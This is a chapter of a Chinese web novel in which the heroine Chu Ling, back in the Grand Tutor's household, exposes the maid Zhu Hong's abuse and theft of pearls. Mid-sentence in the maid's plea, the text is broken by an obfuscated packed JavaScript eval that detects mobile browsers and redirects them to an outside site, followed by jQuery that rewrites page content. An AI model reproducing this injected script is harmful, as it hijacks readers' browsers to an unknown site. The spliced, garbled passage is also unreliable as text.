楚泠今日也是真的累了。先是一直想着计划,随后又在荷花池旁边站了许久,再然后便是和萧琮的情事。
现在躺在浴桶中,觉得四肢百骸像是被热水润开了似的,很舒服。不禁一边喟叹着,一边又往下沉了沉。
热水绵密地包裹住她。楚泠闭着眼睛,想起今日发生的种种。她已经意识到,萧琮对她的感情绝不仅仅是恨,否则知晓他被摆了一道后,头一个反应便是恼羞成怒,不说惩罚,榻上也不会让她好过。
可是萧琮今日的动作却很体贴,像是强忍着占有欲没有发作似的,何况还有那几滴泪,让楚泠觉得有些事情比她一开始想得更为复杂了。
她当然知晓,萧琮不会轻易放她走。可是不仅要将陷她于困苦之地的人解决掉,还要试探萧琮的态度。
现在,她已经试探得清清楚楚,府中的其他人也看得透彻。
恐怕现在,府中几百来号人,都知道今夜太傅是如何为了她,甚至不惜调动季家军满京城去寻。
以后在府中,再也不会有人敢说她的闲话,欺负她了。
楚泠从浴房出去的时候,看见萧琮正坐在窗边,随手拿着一本书看。
不知道他在读什么,但是上头的文字密密麻麻。
楚泠想,幸好娘亲从前教过她识字,说只有识字,才能谋得一席之地,读得懂圣人言,那些都是传世的真理。
其实在百越,有不少人是不认字的。
美人带着一身水汽出来,正在灯光下细细擦拭她的头发,她道:“大人可以差人送我回东侧院了。”
萧琮对上她的视线,喉结滚了滚:“今夜就留在这里。”
茉药被唤来,帮楚泠收拾。与此同时,萧琮去沐浴。
看见楚泠,茉药长叹一口气:“真是吓坏我了,姑娘没事就好。”
“放心吧。”楚泠从前就对茉药的印象很好,眼下看见萧琮叫的是她,更是多了几分信任,“我不会傻到真的离开,也知道只有朱红推动,我是肯定跑不掉的。”
茉药道:“姑娘聪明,知道将计就计,将东侧院那些仗势欺人的人清理干净。以后,姑娘在府中的日子,定会更加一帆风顺。”
说到这,茉药又在她面前跪下请罪:“还请姑娘见谅,茉药是东侧院的管事,一开始却对这些日子发生的事情并未察觉。”
“后来,其实我已知道姑娘在吃苦,本想去东侧院找朱红,最后经了徐嬷嬷提点,也没有去。”
楚泠赶忙扶她起来:“这是什么话,一来你已经被派到正院帮忙,东侧院的事情便已经交给了继任者,同你无关。”
“二来,我还要感谢你的袖手旁观,否则恐怕真没有今日这般顺利。”
茉药见她这般温厚,更是羞惭。至今想来,当日不干涉东侧院的事虽有道理,但终究觉得问心有愧,白白让姑娘多吃了不少苦。
“好了。事情既然已经过去,也是好的结局,便不用自责了。”楚泠道,“后面的头发有些擦不到,帮帮我?”
茉药接过帕子,帮楚泠擦拭头发。
楚泠的头发很好,乌黑顺滑,尤其是现在沾了水,更如同绸缎一般。
茉药想,在京城生活的贵女们,大多会用加了数种药草、香料的桂花油等物品来保养头发,那是要价不低的东西。
楚姑娘在百越的时候,应当是不会用这些东西的,但却比京城贵女们生得还要好看不少。
世上当真存在天生丽质的人。
茉药轻声问:“那朱红,姑娘打算怎么办?”
如今朱红只是受了二十杖的刑罚,需要休养一阵子,大人还没示下,谁也不知朱红作何结局。
茉药怕她又起了什么心思,反而对楚姑娘更为不利。
“我已经有主意了。”楚泠拍了拍她的手臂示意她安心,“明日再说。”
茉药也就不问什么了,楚姑娘生得好看,心地温良,但却不是个任人欺负的,她也很聪明。
她猜,当时百越的族长将楚姑娘送到梁国来,大约也不仅因为她的容貌。
刚刚帮楚泠将头发擦拭干净,茉药便退了出去。夜还很长,她不能打扰。
萧琮也从浴房中走出来。刚刚在水中,他又想起先前在百越那一弯清透的溪水中,美人含娇带怯的样子,与刚刚楚泠在浴房中的模样重合。
本就没有完全消退的欲望重新抬头,他自己解决掉,这才出来。
太傅寻常也不怎么做这样的事,有些生疏。平日若是梦见了她,醒来看见衣裤痕迹,总是黑着脸收拾了。次数越多,对她始乱终弃不告而别便越恨,然而下次,继续如此。
身体也不听他头脑的使唤,只遵从他的内心。
可是现在,美人明明就在房中,甚至显出顺从姿态,他却不舍得让她多承受了。
萧琮迈过门槛,一眼便看见楚泠也坐在窗前,看着他刚刚翻阅了一半的书册。
他忽想起那书册中某个章节的内容,瞳孔一缩,浑身有些热意,将她抱起来,往榻上去。
楚泠软绵绵的:“大人,我累了。”
萧琮见她面色如常,想她大约没有看见什么,道:“不做了。休息。”
楚泠蜷缩在他的怀中,被好端端地放在榻上,又被裹进被子里。萧琮在她身边躺下,呼吸平稳。
他没有拥着自己,楚泠侧过身。
烛灭了,她想起刚刚的书册,那是一本地理纪事集,只不过随手翻到的册子的某一页,便正好看见了百越。
而那页纸的空隙处,密密麻麻写着“泠”字,几乎挤满所有可以下笔的地方。让人看一眼,连呼吸都被占了。
-
萧琮并没有因为找到了楚泠就忘了她被苛待的事情,第二日,东侧院先前侍奉的佣人都跪在门口,等待徐嬷嬷的惩罚。
萧琮坐在旁边看着,越听那些下人们坦陈,越是气怒。
不过短短几日,东侧院恨不得自立门户,关起门来万事不理。除了膳食,还有日常所用的被褥、烛火云云,全都怠慢。
所幸如今天气还不算太难挨,若是碰上三伏或者三九天,怕是连冰块和炭火都会被克扣,那时楚泠的身子会比现在更加糟糕。
楚泠慢悠悠地从正院出来,徐嬷嬷看见她,连忙见礼。
楚泠摆摆手示意不必。
萧琮朝她伸出手,引她到自己身旁坐下。楚泠自然而然走过去。座椅上还放了软垫,现在不必特意吩咐,茉药会将一切都做好。
那些婢子们也都是听了彼此的挑拨,见旁人苛待楚姑娘无事,干脆自己也偷懒些许。
徐嬷嬷问来问去,不过也只是些短了吃食和物资的事情,她心里门清,道:“把朱红叫过来。”
朱红昨夜刚刚受过刑,如今还趴在床上难以起身。可徐嬷嬷说了,她只能被护卫架着来了正院,刚一进门,便看见楚泠。
朱红如今怎么还可能想不明白,楚泠是将计就计,摆了她一道,看见楚泠如今端坐在大人身旁,不仅一点儿惩罚没受,反而更加安然的模样,不免怨愤地看了她一眼。
徐嬷嬷立刻呵斥道:“还看什么!”
朱红知道如今自己躲不过去,不如拉楚泠一道下水。
徐嬷嬷让她认罪,她反而道:“大人明鉴,若不是楚姑娘说想要离开京城回百越,奴婢也不会做出这样的事情。”
徐嬷嬷疾言厉色:“你倒是会避重就轻,朱红,你让东侧院的下人刻意刁难,岂不是开始就想让姑娘萌生离开的念头?”
“姑娘若不想离开,谁也没办法说动她,何况姑娘还曾让我帮忙,所以昨日我才会和姑娘一道,帮她找借口避过护卫,还找了马车接应。”朱红不顾自己身上的杖伤,跪地艰难磕头,不一会儿,那娟秀的额头上也遍布了血迹。
“朱红。”楚泠忽然开口,“你该不会真的以为,我会傻到认为一个府中的婢子能帮我离开太傅府,离开京城?”
这话仿若锥心,嘲笑着朱红的不自量力。
朱红不说话了,牙齿紧咬,恨恨地看着楚泠。只怪楚泠这些日子表现得太过温和无害,让她真的以为她是这般好欺负,最后被反将一军。
她只能不断磕头求饶:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325422|181519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婢子只是一时猪油蒙了心,婢子知错了,还请大人看在我曾是夫人选中来府中的丫头,饶过奴婢一命!”
“行了。”萧琮听得厌烦,只说了这两个字,想将这闹剧停下来。
徐嬷嬷正欲根据家规处罚,却又听楚泠道:“还有一罪,朱红还未认。”
萧琮忽觉得她咄咄逼人的样子倒也很新奇可爱,揽住她,示意她继续说。
楚泠看向朱红怨毒的眼神,轻轻道:“偷窃。”
朱红没想到她连这个都猜中了,身子顿时晃了晃。
府中的下人若是犯了偷窃罪,根据金额可大可小,再加上刚刚苛待的罪名,她恐怕会被打死。
果然,徐嬷嬷闻言,更为严肃,厉声质问:“朱红你胆子不小,赶紧说,都偷了什么?”
朱红还想挣扎:“我是待姑娘不好,但姑娘也不能拿莫须有的罪名安在我头上!”
“如何莫须有。”楚泠道,“请徐嬷嬷检查东侧院内我的屋子,里头有一盒大人赏的饰品,还有一盒,东珠。”
听到东珠二字,在场的人都倒抽了一口气。
这是稀世珍宝,寻常人有钱也买不到,只有陛下赏赐的份,恐怕就连后宫的娘娘和陛下的手足姻亲才能拿到几颗,还会被珍而重之地镶嵌在冠上,以示陛下皇恩浩荡。
而大人竟然给了楚姑娘一盒。
听到东珠,朱红惊愕过后,便心如死灰。她还真的信了那只是一盒品相上佳的珍珠罢了,否则,如此显眼的东西,她不会蠢到去拿。
徐嬷嬷派人去查,果然发现,楚泠房间里丢失的东珠,在朱红的房中搜到了。
打开盒子,东珠颗颗光滑璀璨,还是一满盒,没少。看来她原本打算变卖,但事情发生的太快,还没来得及。
“除了东珠之外,还搜到了一些首饰,香料。”徐嬷嬷道,“这些东西我都有印象,记得是大人曾经赏给楚姑娘的。”
徐嬷嬷身边,另一位道:“这倒奇了,我见楚姑娘衣橱中还有不少没穿过的衣裳,她倒是一件都没拿,偏偏是这使剩下的香粉,她拿来做什么?”
“难不成,是觉得楚姑娘靠这些得了大人的宠,所以朱红也想试试?”
这话便切切实实地说朱红在模仿楚泠。毕竟即便偷了衣裳也穿不出去,但香粉却可以偷偷地抹。
这样一来,朱红为何冒着风险放楚姑娘离开,大家心中便更有数。
日头慢慢升了起来,萧琮不愿意再继续待在院中。他也担心楚泠的身子受不住。便缓缓起身,道:“既如此,照家规办事即可。”
他无视了身后朱红的殷切恳求,将楚泠带进了房间。
外头,徐嬷嬷声音严厉,既是惩戒朱红,也是告诫众人:“拉出府去,日后永不许再入府伺候!”
楚泠被萧琮拉着手腕,回到了房间。
萧琮按着她的肩膀让她坐在榻上,听了外头的那些乌七八糟的事,他愈发觉得心绪复杂。
一朝太傅,他为何会想不到下人会过度揣测他的念头,然后变本加厉。
他张了张口,想说什么,楚泠却先道:“没关系的,大人,我不觉得委屈。”
“何况,我借这个机会帮大人清除了府上的积弊,大人是不是还要谢我?”
萧琮见她轻描淡写就盖过了自己的委屈,心头酸得像是一颗饱胀的果子,低声道:“嗯。”
他最后还是什么都没说出来,对楚泠道:“我让明大夫过来给你看看。”
楚泠点头:“好啊。”
大人不在的这几日,明晋昊谨遵吩咐,没有踏入楚泠的房门为她把脉。
尽管明大夫医者仁心,却也担心自己的冒失是否会为楚姑娘带来困境。
他原以为一周不把脉也不甚要紧,谁知刚刚搭上,眉就紧紧皱了起来,一贯见多识广的,如今面容也不甚好看。
萧琮看着他,心也悬了起来:“如何?”
明晋昊苦笑一声摇摇头:“怎每况日下起来,前期那些补药算是白喝了。”
萧琮刚刚悬起来的一颗心,又重重落了下去。